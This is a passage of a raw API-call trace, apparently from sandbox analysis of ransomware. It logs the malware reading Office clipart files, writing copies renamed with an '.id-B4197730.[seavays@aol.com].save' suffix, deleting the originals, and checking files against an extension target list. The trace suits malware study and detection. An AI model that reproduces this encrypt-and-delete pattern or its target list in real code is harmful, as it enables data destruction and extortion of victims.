out: lpNewFilePointer=0x0) returned 1 [0172.363] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0172.365] GetLastError () returned 0x0 [0172.365] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x571c, lpOverlapped=0x0) returned 1 [0172.542] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5720, lpOverlapped=0x0) returned 1 [0172.544] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.544] SetEndOfFile (hFile=0x540) returned 1 [0172.582] CloseHandle (hObject=0x540) returned 1 [0172.767] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.767] SetEndOfFile (hFile=0x528) returned 1 [0172.777] CloseHandle (hObject=0x528) returned 1 [0172.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0172.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.779] lstrlenW (lpString=".doc") returned 4 [0172.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.779] lstrlenW (lpString=".docx") returned 5 [0172.779] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.779] lstrlenW (lpString=".pdf") returned 4 [0172.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.779] lstrlenW (lpString=".xls") returned 4 [0172.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.779] lstrlenW (lpString=".xlsx") returned 5 [0172.779] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.779] lstrlenW (lpString=".ppt") returned 4 [0172.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.779] lstrlenW (lpString=".zip") returned 4 [0172.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.779] lstrlenW (lpString=".rar") returned 4 [0172.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.779] lstrlenW (lpString=".bz2") returned 4 [0172.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.779] lstrlenW (lpString=".7z") returned 3 [0172.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.780] lstrlenW (lpString=".dbf") returned 4 [0172.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.780] lstrlenW (lpString=".1cd") returned 4 [0172.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.780] lstrlenW (lpString=".jpg") returned 4 [0172.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.780] lstrlenW (lpString=".doc") returned 4 [0172.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.780] lstrlenW (lpString=".docx") returned 5 [0172.780] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.780] lstrlenW (lpString=".pdf") returned 4 [0172.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.780] lstrlenW (lpString=".xls") returned 4 [0172.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.780] lstrlenW (lpString=".xlsx") returned 5 [0172.780] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.780] lstrlenW (lpString=".ppt") returned 4 [0172.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.781] lstrlenW (lpString=".zip") returned 4 [0172.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.781] lstrlenW (lpString=".rar") returned 4 [0172.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.781] lstrlenW (lpString=".bz2") returned 4 [0172.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.781] lstrlenW (lpString=".7z") returned 3 [0172.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.781] lstrlenW (lpString=".dbf") returned 4 [0172.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.781] lstrlenW (lpString=".1cd") returned 4 [0172.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0172.781] lstrlenW (lpString=".jpg") returned 4 [0172.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.781] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.781] lstrlenW (lpString="J0107254.WMF") returned 12 [0172.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.783] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=20212) returned 1 [0172.783] CloseHandle (hObject=0x528) returned 1 [0172.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220 [0172.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.784] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.784] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.785] GetLastError () returned 0x0 [0172.785] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0172.788] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4f00, lpOverlapped=0x0) returned 1 [0172.790] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.790] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.790] SetEndOfFile (hFile=0x520) returned 1 [0172.790] CloseHandle (hObject=0x520) returned 1 [0172.790] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.790] SetEndOfFile (hFile=0x528) returned 1 [0172.794] CloseHandle (hObject=0x528) returned 1 [0172.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0172.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.796] lstrlenW (lpString=".doc") returned 4 [0172.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.796] lstrlenW (lpString=".docx") returned 5 [0172.796] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.796] lstrlenW (lpString=".pdf") returned 4 [0172.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.796] lstrlenW (lpString=".xls") returned 4 [0172.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.796] lstrlenW (lpString=".xlsx") returned 5 [0172.796] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.797] lstrlenW (lpString=".ppt") returned 4 [0172.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.797] lstrlenW (lpString=".zip") returned 4 [0172.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.797] lstrlenW (lpString=".rar") returned 4 [0172.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.797] lstrlenW (lpString=".bz2") returned 4 [0172.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.797] lstrlenW (lpString=".7z") returned 3 [0172.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.797] lstrlenW (lpString=".dbf") returned 4 [0172.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.797] lstrlenW (lpString=".1cd") returned 4 [0172.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.797] lstrlenW (lpString=".jpg") returned 4 [0172.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.797] lstrlenW (lpString=".doc") returned 4 [0172.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.797] lstrlenW (lpString=".docx") returned 5 [0172.798] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.798] lstrlenW (lpString=".pdf") returned 4 [0172.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.798] lstrlenW (lpString=".xls") returned 4 [0172.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.798] lstrlenW (lpString=".xlsx") returned 5 [0172.798] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.798] lstrlenW (lpString=".ppt") returned 4 [0172.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.798] lstrlenW (lpString=".zip") returned 4 [0172.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.798] lstrlenW (lpString=".rar") returned 4 [0172.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.798] lstrlenW (lpString=".bz2") returned 4 [0172.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.798] lstrlenW (lpString=".7z") returned 3 [0172.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.798] lstrlenW (lpString=".dbf") returned 4 [0172.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.798] lstrlenW (lpString=".1cd") returned 4 [0172.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0172.798] lstrlenW (lpString=".jpg") returned 4 [0172.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.799] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.799] lstrlenW (lpString="J0107258.WMF") returned 12 [0172.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.800] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8552) returned 1 [0172.800] CloseHandle (hObject=0x528) returned 1 [0172.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220 [0172.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0172.801] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.801] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.993] GetLastError () returned 0x0 [0172.993] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2168, lpOverlapped=0x0) returned 1 [0172.995] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2170, lpOverlapped=0x0) returned 1 [0172.996] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.996] WriteFile (in: hFile=0x520, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.996] SetEndOfFile (hFile=0x520) returned 1 [0172.996] CloseHandle (hObject=0x520) returned 1 [0172.996] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.996] SetEndOfFile (hFile=0x528) returned 1 [0173.008] CloseHandle (hObject=0x528) returned 1 [0173.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0173.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.009] lstrlenW (lpString=".doc") returned 4 [0173.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.009] lstrlenW (lpString=".docx") returned 5 [0173.010] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.010] lstrlenW (lpString=".pdf") returned 4 [0173.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString=".xls") returned 4 [0173.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.010] lstrlenW (lpString=".xlsx") returned 5 [0173.010] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.010] lstrlenW (lpString=".ppt") returned 4 [0173.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.010] lstrlenW (lpString=".zip") returned 4 [0173.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.010] lstrlenW (lpString=".rar") returned 4 [0173.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString=".bz2") returned 4 [0173.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString=".7z") returned 3 [0173.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.010] lstrlenW (lpString=".dbf") returned 4 [0173.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.010] lstrlenW (lpString=".1cd") returned 4 [0173.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.010] lstrlenW (lpString=".jpg") returned 4 [0173.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.010] lstrlenW (lpString=".doc") returned 4 [0173.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.010] lstrlenW (lpString=".docx") returned 5 [0173.011] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.011] lstrlenW (lpString=".pdf") returned 4 [0173.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.011] lstrlenW (lpString=".xls") returned 4 [0173.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.011] lstrlenW (lpString=".xlsx") returned 5 [0173.011] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.011] lstrlenW (lpString=".ppt") returned 4 [0173.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.011] lstrlenW (lpString=".zip") returned 4 [0173.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.011] lstrlenW (lpString=".rar") returned 4 [0173.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.011] lstrlenW (lpString=".bz2") returned 4 [0173.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.011] lstrlenW (lpString=".7z") returned 3 [0173.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.011] lstrlenW (lpString=".dbf") returned 4 [0173.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.011] lstrlenW (lpString=".1cd") returned 4 [0173.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0173.011] lstrlenW (lpString=".jpg") returned 4 [0173.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.011] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.012] lstrlenW (lpString="J0107280.WMF") returned 12 [0173.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.012] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=11108) returned 1 [0173.012] CloseHandle (hObject=0x528) returned 1 [0173.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220 [0173.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.013] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.013] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.014] GetLastError () returned 0x0 [0173.014] ReadFile (in: hFile=0x528, 